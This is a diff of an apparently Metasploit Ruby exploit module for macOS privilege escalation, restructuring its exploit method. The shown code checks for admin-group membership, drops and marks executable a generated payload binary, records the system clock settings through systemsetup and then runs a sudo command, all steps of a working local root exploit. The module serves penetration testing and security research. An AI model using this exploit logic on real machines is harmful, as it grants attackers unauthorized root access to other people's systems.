@@ -116,41 +116,29 @@ def check
116
116
def exploit
117
117
if not user_in_admin_group?
118
118
fail_with ( Exploit ::Failure ::NotFound , "User is not in the 'admin' group, bailing." )
119
- else
120
- # "remember" the current system time/date/network/zone
121
- print_good ( "User is an admin, continuing..." )
122
-
123
- # drop the payload (unless CMD)
124
- if using_native_target?
125
- cmd_exec ( "mkdir -p #{ File . dirname ( drop_path ) } " )
126
- write_file ( drop_path , generate_payload_exe )
127
- register_files_for_cleanup ( drop_path )
128
- cmd_exec ( "chmod +x #{ [ drop_path ] . shelljoin } " )
129
- print_status ( "Payload dropped and registered for cleanup" )
130
- end
131
-
132
- print_status ( "Saving system clock config..." )
133
- @time = cmd_exec ( "#{ SYSTEMSETUP_PATH } -gettime" ) . match ( /^time: (.*)$/i ) [ 1 ]
134
- @date = cmd_exec ( "#{ SYSTEMSETUP_PATH } -getdate" ) . match ( /^date: (.*)$/i ) [ 1 ]
135
- @networked = cmd_exec ( "#{ SYSTEMSETUP_PATH } -getusingnetworktime" ) =~ ( /On$/ )
136
- @zone = cmd_exec ( "#{ SYSTEMSETUP_PATH } -gettimezone" ) . match ( /^time zone: (.*)$/i ) [ 1 ]
137
- @network_server = if @networked
138
- cmd_exec ( "#{ SYSTEMSETUP_PATH } -getnetworktimeserver" ) . match ( /time server: (.*)$/i ) [ 1 ]
139
- end
140
-
141
- print_warning ( "Cleanup to be done in case something goes really bad" )
142
- print_warning ( "Execute: #{ SYSTEMSETUP_PATH } -settimezone #{ [ @zone ] . shelljoin } " )
143
- print_warning ( "Execute: #{ SYSTEMSETUP_PATH } -setdate #{ [ @date ] . shelljoin } " )
144
- print_warning ( "Execute: #{ SYSTEMSETUP_PATH } -settime #{ [ @time ] . shelljoin } " )
145
- if @networked
146
- print_warning ( "Execute: #{ SYSTEMSETUP_PATH } -setusingnetworktime On" )
147
- if @network_server
148
- print_warning ( "Execute: #{ SYSTEMSETUP_PATH } -setnetworktimeserver #{ [ @network_server ] . shelljoin } " )
149
- end
150
- end
119
+ end
120
+ # "remember" the current system time/date/network/zone
121
+ print_good ( "User is an admin, continuing..." )
122
+
123
+ # drop the payload (unless CMD)
124
+ if using_native_target?
125
+ cmd_exec ( "mkdir -p #{ File . dirname ( drop_path ) } " )
126
+ write_file ( drop_path , generate_payload_exe )
127
+ register_files_for_cleanup ( drop_path )
128
+ cmd_exec ( "chmod +x #{ [ drop_path ] . shelljoin } " )
129
+ print_status ( "Payload dropped and registered for cleanup" )
130
+ end
151
131
152
- run_sudo_cmd
132
+ print_status ( "Saving system clock config..." )
133
+ @time = cmd_exec ( "#{ SYSTEMSETUP_PATH } -gettime" ) . match ( /^time: (.*)$/i ) [ 1 ]
134
+ @date = cmd_exec ( "#{ SYSTEMSETUP_PATH } -getdate" ) . match ( /^date: (.*)$/i ) [ 1 ]
135
+ @networked = cmd_exec ( "#{ SYSTEMSETUP_PATH } -getusingnetworktime" ) =~ ( /On$/ )
136
+ @zone = cmd_exec ( "#{ SYSTEMSETUP_PATH } -gettimezone" ) . match ( /^time zone: (.*)$/i ) [ 1 ]
137
+ @network_server = if @networked
138
+ cmd_exec ( "#{ SYSTEMSETUP_PATH } -getnetworktimeserver" ) . match ( /time server: (.*)$/i ) [ 1 ]
153
139
end
140
+
141
+ run_sudo_cmd
154
142
end
155
143
156
144
def cleanup
0 commit comments